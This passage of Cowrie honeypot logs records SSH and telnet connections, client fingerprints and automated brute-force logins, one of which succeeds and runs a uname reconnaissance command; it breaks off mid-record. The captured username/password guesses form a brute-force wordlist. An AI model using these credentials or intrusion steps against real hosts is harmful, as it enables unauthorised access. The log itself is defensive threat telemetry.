{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40382,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e7fbca63796","protocol":"ssh","message":"New connection: 176.65.132.129:40382 (159.203.135.109:22) [session: 3e7fbca63796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:24.641062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:24.646414Z","src_ip":"176.65.132.129","session":"3e7fbca63796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:24.734820Z","src_ip":"176.65.132.129","session":"3e7fbca63796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:24.987450Z","src_ip":"176.65.132.129","session":"3e7fbca63796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59488,"dst_ip":"10.17.0.5","dst_port":23,"session":"1686386c74b3","protocol":"telnet","message":"New connection: 152.42.224.71:59488 (10.17.0.5:23) [session: 1686386c74b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:26.063662Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:26.075295Z","src_ip":"176.65.132.129","session":"3e7fbca63796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":38015,"dst_ip":"159.203.135.109","dst_port":22,"session":"b13fab1db083","protocol":"ssh","message":"New connection: 213.135.168.228:38015 (159.203.135.109:22) [session: b13fab1db083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:27.781933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:27.786680Z","src_ip":"213.135.168.228","session":"b13fab1db083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:27.918101Z","src_ip":"213.135.168.228","session":"b13fab1db083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45872,"dst_ip":"159.203.135.109","dst_port":22,"session":"496782d4005a","protocol":"ssh","message":"New connection: 176.65.132.129:45872 (159.203.135.109:22) [session: 496782d4005a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:28.078088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:28.082350Z","src_ip":"176.65.132.129","session":"496782d4005a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:28.164292Z","src_ip":"176.65.132.129","session":"496782d4005a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:28.413784Z","src_ip":"176.65.132.129","session":"496782d4005a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#","message":"login attempt [root/1qaz2wsx#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:28.472082Z","src_ip":"213.135.168.228","session":"b13fab1db083","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:28.634003Z","src_ip":"176.65.132.129","session":"496782d4005a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:28.638726Z","src_ip":"176.65.132.129","session":"496782d4005a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:28.724828Z","src_ip":"176.65.132.129","session":"496782d4005a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:28.729659Z","src_ip":"176.65.132.129","session":"496782d4005a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:29.606504Z","src_ip":"213.135.168.228","session":"b13fab1db083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.51579570770264,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:30.894904Z","src_ip":"152.42.224.71","session":"ca0ca7cbbf14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45896,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa39ef31f18f","protocol":"ssh","message":"New connection: 176.65.132.129:45896 (159.203.135.109:22) [session: aa39ef31f18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:31.337695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:31.341499Z","src_ip":"176.65.132.129","session":"aa39ef31f18f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:31.423304Z","src_ip":"176.65.132.129","session":"aa39ef31f18f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:31.670262Z","src_ip":"176.65.132.129","session":"aa39ef31f18f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59502,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fd90a4d8da3","protocol":"telnet","message":"New connection: 152.42.224.71:59502 (10.17.0.5:23) [session: 4fd90a4d8da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:32.249447Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:32.875792Z","src_ip":"176.65.132.129","session":"aa39ef31f18f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45916,"dst_ip":"159.203.135.109","dst_port":22,"session":"623c4f7a2199","protocol":"ssh","message":"New connection: 176.65.132.129:45916 (159.203.135.109:22) [session: 623c4f7a2199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:34.542932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:34.548369Z","src_ip":"176.65.132.129","session":"623c4f7a2199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:34.631063Z","src_ip":"176.65.132.129","session":"623c4f7a2199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:34.877957Z","src_ip":"176.65.132.129","session":"623c4f7a2199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59518,"dst_ip":"10.17.0.5","dst_port":23,"session":"d77e68aa439d","protocol":"telnet","message":"New connection: 152.42.224.71:59518 (10.17.0.5:23) [session: d77e68aa439d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:35.416435Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59520,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a28f80ea619","protocol":"telnet","message":"New connection: 152.42.224.71:59520 (10.17.0.5:23) [session: 8a28f80ea619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:35.490395Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:35.963490Z","src_ip":"176.65.132.129","session":"623c4f7a2199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.33371996879578,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:36.906636Z","src_ip":"152.42.224.71","session":"391074865285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60188,"dst_ip":"159.203.135.109","dst_port":22,"session":"f14c01f2a363","protocol":"ssh","message":"New connection: 176.65.132.129:60188 (159.203.135.109:22) [session: f14c01f2a363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:37.914806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:37.951297Z","src_ip":"176.65.132.129","session":"f14c01f2a363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:38.034398Z","src_ip":"176.65.132.129","session":"f14c01f2a363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:38.283874Z","src_ip":"176.65.132.129","session":"f14c01f2a363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":35478,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c6cfc169356","protocol":"ssh","message":"New connection: 103.15.222.183:35478 (159.203.135.109:22) [session: 3c6cfc169356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:38.725069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:38.730314Z","src_ip":"103.15.222.183","session":"3c6cfc169356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:38.977150Z","src_ip":"103.15.222.183","session":"3c6cfc169356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:39.369075Z","src_ip":"176.65.132.129","session":"f14c01f2a363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anfisa","message":"login attempt [root/anfisa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:39.739025Z","src_ip":"103.15.222.183","session":"3c6cfc169356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:40.989143Z","src_ip":"103.15.222.183","session":"3c6cfc169356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60198,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd9ce8f8d4c","protocol":"ssh","message":"New connection: 176.65.132.129:60198 (159.203.135.109:22) [session: 6fd9ce8f8d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:41.180000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:41.186105Z","src_ip":"176.65.132.129","session":"6fd9ce8f8d4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@ope